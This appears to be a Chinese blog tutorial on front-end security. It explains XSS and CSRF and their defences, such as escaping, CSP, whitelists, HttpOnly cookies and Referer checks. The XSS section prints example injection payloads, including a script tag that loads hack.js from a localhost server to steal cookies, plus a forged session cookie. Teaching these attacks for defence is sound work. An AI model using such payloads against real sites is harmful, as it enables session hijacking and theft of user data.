前端安全看这篇就够了---常见Web攻击第一弹!!!

一、XSS

Cross Site Scripting
即我们常说的 跨站脚本攻击!!!
XSS (Cross-Site Scripting),跨站脚本攻击,因为缩写和 CSS重叠,所以只能叫 XSS。跨站脚本攻击是指通过存在安全漏洞的Web网站注册用户的浏览器内运行非法的HTML标签或JavaScript进行的⼀种攻击。
跨站脚本攻击有可能造成以下影响:

1. 利用虚假输入表单骗取用户个人信息。
2. 利用脚本窃取用户的Cookie值,被害者在不知情的情况下,帮助攻击者发送恶意请求。
3. 显示伪造的文章或图片。

说完了上面的恶劣影响之后,我们再来看一下XSS攻击有哪些分类呢?
XSS攻击分类如下:

  • 反射型 - url参数直接注入
// 普通
http://localhost:3000/?from=china
// alert尝试
http://localhost:3000/?from=<script>alert(3)</script>
// 获取Cookie
http://localhost:3000/?from=<script src="http://localhost:4000/hack.js">
</script>
// 短域名伪造 https://dwz.cn/
// 伪造cookie⼊入侵 chrome
document.cookie="kaikeba:sess=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjox
NTUzNTY1MDAxODYxLCJfbWF4QWdlIjo4NjQwMDAwMH0="
  • 存储型 - 存储到DB后读取时注入
// 评论
<script>alert(1)</script>
// 跨站脚本注⼊入
我来了了<script src="http://localhost:4000/hack.js"></script>

XSS攻击的危害 - Scripting能干啥就能干啥!!!

1. 获取⻚面数据
2. 获取Cookies
3. 劫持前端逻辑
4. 发送请求
5. 偷取网站的任意数据
6. 偷取用户的资料
7. 偷取用户的秘密和登录态
8. 欺骗用户

防范手段

  • ejs转义小知识:
<% code %>用于执行其中javascript代码;
<%= code %>会对code进行html转义;
<%- code %>将不会进行转义
  • HEAD
ctx.set('X-XSS-Protection', 0) // 禁⽌XSS过滤
// http://localhost:3000/?from=<script>alert(3)</script> 可以拦截 但伪装⼀下就
不⾏了
0 禁⽌XSS过滤。
1 启⽤XSS过滤(通常浏览器是默认的)。 如果检测到跨站脚本攻击,浏览器将清除⻚⾯(删除
不安全的部分)。
1;mode=block 启⽤XSS过滤。 如果检测到攻击,浏览器将不会清除⻚⾯,⽽是阻⽌⻚⾯加载。
1; report= (Chromium only)
启⽤XSS过滤。 如果检测到跨站脚本攻击,浏览器将清除⻚⾯并使⽤CSP report-uri 指令的
功能发送违规报告。
  • CSP
内容安全策略 (CSP, Content Security Policy) 是⼀个附加的安全层,⽤于帮助检测和缓解
某些类型的攻击,包括跨站脚本 (XSS) 和数据注⼊等攻击。 这些攻击可⽤于实现从数据窃
取到⽹站破坏或作为恶意软件分发版本等⽤途。
CSP 本质上就是建⽴⽩名单,开发者明确告诉浏览器哪些外部资源可以加载和执⾏。我们
只需要配置规则,如何拦截是由浏览器⾃⼰实现的。我们可以通过这种⽅式来尽量减少
XSS 攻击。
  • 转义字符
  • 黑名单
⽤户的输⼊永远不可信任的,最普遍的做法就是转义输⼊输出的内容,对于引号、尖括号、斜
杠进⾏转义
富⽂本来说,显然不能通过上⾯的办法来转义所有字符,因为这样会把需要的格式也过滤掉。
对于这种情况,通常采⽤⽩名单过滤的办法,当然也可以通过⿊名单过滤,但是考虑到需要过
滤的标签和标签属性实在太多,更加推荐使⽤⽩名单的⽅式。
  • 白名单
  • HttpOnly Cookie
这是预防XSS攻击窃取⽤户cookie最有效的防御⼿段。Web应 ⽤程序在设置cookie时,将
其属性设为HttpOnly,就可以避免该⽹⻚的cookie被客户端恶意JavaScript窃取,保护⽤
户cookie信息。

response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly")

二、CSRF

CSRF(Cross Site Request Forgery),即跨站请求伪造,是⼀种常⻅的Web攻击,它利⽤⽤户已登录的身份,在⽤户毫不知情的情况下,以⽤户的名义完成⾮法操作。

1. ⽤户已经登录了站点 A,并在本地记录了 cookie
2. 在⽤户没有登出站点 A 的情况下(也就是 cookie ⽣效的情况下),访问了恶意攻击者提供的引
诱危险站点 B (B 站点要求访问站点A)3. 站点 A 没有做任何 CSRF 防御

登录 http://localhost:4000/csrf.html

CSRF攻击危害

1. 利⽤⽤户登录态
2. ⽤户不知情
3. 完成业务请求
4. 盗取⽤户资⾦(转账,消费)
5. 冒充⽤户发帖背锅
6. 损害⽹站声誉

防御手段

1. 禁⽌第三⽅⽹站带Cookie - 有兼容性问题
2. Referer Check - Https不发送referer
3. 验证码

如果这篇文章能够帮助到您,希望您不要吝惜点赞👍👍和收藏💖💖,您的支持是我继续努力的动力 💪💪!!!

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值